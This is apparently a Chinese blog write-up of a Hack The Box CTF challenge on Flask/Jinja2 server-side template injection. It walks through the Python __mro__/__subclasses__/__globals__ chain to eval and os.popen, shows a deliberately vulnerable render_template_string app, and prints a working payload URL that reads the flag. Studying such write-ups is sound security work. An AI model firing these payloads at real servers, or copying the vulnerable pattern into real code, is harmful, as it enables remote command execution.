Templated

Flask/Jinja2框架的ssti漏洞(沙箱逃逸)(CVE-2019-8341)#

1.背景介绍

flask是基于python开发的一种web服务器。

JinJia模板引擎的特点:

- {{……}}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉
- {%……%}:装载一个控制语句。
- {#……#}:装载一个注释,模板渲染时会忽略这中间的值

2.python魔术方法下的解析过程

一些特殊的变量(python魔术方法)

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的    
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用
_ _ str _ _ 方法:将对象转换成字符串。
_ _ new _ _ 方法:创建并返回一个实例对象,一般用于单例模式。
_ _ del _ _ 方法:对象在程序运行结束后进行对象的销毁的时候调用这个方法,来释放资源。
__dict__ 返回所有属性,包括属性,方法等

>>> print(''.__class__)
<type 'str'>
# 字符串的上一层父类就是str,既然我们知道了是什么类型,那么就可以通过__mro__找str的继承关系

>>> print(''.__class__.__class__.__mro__)
(<type 'type'>, <type 'object'>)
# 这里通过元组列出了两个关系,我们要找的不是type,而是后面的object,既然是元组,那么就通过__mro__[1].__subclasses__()找object对象下的所有子类

>>> print(''.__class__.__class__.__mro__[1].__subclasses__())
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, ...(省略部分)]
# 找到了父类下的子类,以列表的形式显示,假设我们要进行文件读取,那么就是找到<type 'file'>,所处列表位置是40  但是由于我的环境问题,这里不能的文件读取和RCE出现了问题,所以使用别的模块,道理都一样,通过找到重载的模块去一步步找所属的子类列表,这里使用的是列表第75位,已重载的

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75])
<type 'file'>
# 那么接下来就可以通过__init__查看是否重载

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__)
<class '_frozen_importlib._ModuleLock'>
# 没有wrapper字眼,说明已经被重载了,接下来继续找继承关系,使用__globals__找全局变量

>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__)
{'__name__': 'importlib._bootstrap', '__doc__': 'Core implementation of import.\n\nThis module is NOT meant to be directly imported! It has been designed such\nthat it can be bootstrapped into Python as the implementation of import. As\nsuch it requires the injection of specific modules and attributes in order to\nwork. One should use importlib as the public-facing version of this module.\n\n', '__package__': 'importlib', '__loader__': <class '_frozen_importlib.FrozenImporter'>, '__spec__': ModuleSpec(name='_frozen_importlib', loader=<class '_frozen_importlib.FrozenImporter'>,...(省略部分))
# 找出了很多的全局变量,以字典的形式输出,这里演示用'__builtion__'做演示
 
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__'])
 
 {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>),...(省略部分)}
 # 到了这一步后,由于全局变量包含了eval,所以可以找到eval执行命令,然后再通过popen执行命令,如果使用system之类的函数,可能照成不会回显,所以用popen是首选~
 
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"))
flag requirements.txt
# 至此,成功执行了命令,找到了当前目录下的文件,至于__import__('os').popen('ls').read(),可以说是固定搭配

循环渐进,一层找一层,无非都是先找到父类,然后找父类下的子类,完了以后查看是否有重载,再通过全局变量找到eval进行执行命令,当然,也不单单只有这么一个思路,也可以不断横纵扩展,还有一个知识点就是,上面提到我们得先获取object对象,然后再去找子类,那么一定要用mro去获取父类么?其实不一定,我们也可以用base去获取object,但是个人感觉还是mro好用,base虽然也可以父类,但是只能找上一层的父类,如果被找的类型不止一个父类的话,就得通过很多个base去找。

>>> print(''.__class__.__base__.__base__) # 依次网上找
<type 'object'>

>>> print(''.__class__.__mro__[-1]) # 一次性列出来所有继承关系
<type 'object'>

3.漏洞详情:

ssti漏洞主要是由render_template_string()和render_template()这两个函数由于使用不当而造成的二次渲染。

    #flaskapp.py
    from flask import *
    from jinja2 import *
    app = Flask(__name__)  # 创建FLask类
    @app.route("/")  #设置的默认路由
    def index(): #默认的视图函数,与路由绑定,用来处理用户访问网站跟目录/时的情况
        name = request.args.get('name', 'guest')#接受参数名为name 的参数传入
        html = '''
        <h3>your input %s</h3>
        '''%name #设置一个模板html,将name的值以%s输出
        return render_template_string(html) #将html以字符串模板的形式渲染
        #对应的,当html是一个文件时,使用render_template 函数来渲染一个指定的文件
    if __name__=='__main__': #作为主文件启动时
        app.run(debug = True)  #以debug模式运行

route装饰器的作用是将函数与url绑定起来。如上,如果你在url后对name进行get传值:

?name=2*3

输出:your input 2*3

?name=6

输出:your input 6

4.题目Templated

Site still under construction

Proudly powered by Flask/Jinja2

刚进去就提醒你这是由Flask/Jinja2框架开发的。

=9

Error 404

The page '=9' could not be found

成功执行,证实存在SSTI注入。构造payload

payload:http://209.97.177.45:30351/%7B%7B%20%22%22.__class__.__mro__[1].__subclasses__()[186].__init__.__globals__[%22__builtins__%22][%22__import__%22](%22os%22).popen(%22cat%20flag.txt%22).read()%20%7D%7D

爆出flag

Error 404

The page 'HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!} ' could not be found
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 00hello00

请我喝杯咖啡吧~

支付宝
微信